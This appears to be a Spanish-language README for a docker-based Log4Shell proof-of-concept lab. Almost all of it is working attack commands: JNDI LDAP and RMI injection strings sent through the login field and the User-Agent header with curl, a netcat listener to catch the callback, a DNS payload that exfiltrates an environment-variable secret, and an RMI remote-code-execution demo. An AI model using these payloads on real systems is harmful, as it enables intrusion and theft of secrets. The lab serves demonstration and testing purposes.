Ejecutar la demo de ataque a la aplicación web

1. Configura tu listener de docker en la primera terminal
   1. nc -lv 10.10.10.31 9001
2. Inicia los contenedores de docker en una segunda terminal
   1. docker-compose up
3. Navega a la aplicación web en el puerto 8080
   1. Navega a http://10.10.10.31:8080/log4shell
      1. Introduce el nombre de usuario: admin
      2. Introduce la contraseña: password
      3. Pulsa el botón "login"
      4. Verás la pantalla de bienvenida
   2. Vuelve al inicio de sesión en http://10.10.10.31:8080/log4shell
      1. Introduce el nombre de usuario ${jndi:ldap://172.16.238.11:1389/a}
      2. Pulsa el botón "login"
      3. Comprueba la conexión en tu listener de nc

Ejecutar una demo de ataque de user-agent

1. Configura tu listener de docker en la primera terminal
   1. nc -lv 10.10.10.31 9001
2. Inicia los contenedores de docker en una segunda terminal
   1. docker-compose up
3. En una tercera terminal, ejecuta lo siguiente. La segunda IP es el host de docker
   1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

Ejecutar una demo de exfiltración DNS en la versión reciente de Java 11

1. Inicia los contenedores de docker en una terminal
   1. docker-compose up
2. En una segunda terminal, ejecuta lo siguiente. La IP es la dirección IP del host de docker
   1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
3. El servidor web vulnerable intentará hacer una consulta TXT en la IP indicada. Ver log4j-dns_exfil.pcap

Ejecutar una demo de RMI RCE en la versión reciente de Java 11

Estoy teniendo problemas con el argumento de línea de comandos para el objetivo de ping. Así que tienes que compilarlo tú mismo.

Compilar

1. Inicia los contenedores de docker en una terminal
   1. docker-compose up
2. En otra terminal, inicia sesión en el cve-poc
   1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
3. Termina la instancia de RMIServerPOC en ejecución
4. Cambia al directorio rmi-poc
   1. cd /home/user/rmi-poc
5. Edita RMIServerPOC.java para cambiar 10.10.10.31 por tu objetivo de ping
6. Recompila
   1. javac -cp catalina.jar:. RMIServerPOC.java
7. Ejecuta el servidor
   1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

Ejecutar la demo de RMI RCE

1. Inicia los contenedores de docker en una terminal
   1. docker-compose up
2. En una segunda terminal, ejecuta lo siguiente. La IP es la dirección IP del host de docker
   1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
3. El servidor web vulnerable descargará una clase maliciosa serializada desde el servidor RMI para una clase que ya existe en el entorno de Tomcat.
4. Esto hará ping a la dirección IP definida en la sección de compilación.

Detectar vulnerabilidad de UA

1. cd scripts
2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
3. tendrás que matar el proceso, todavía no estoy seguro de por qué se cuelga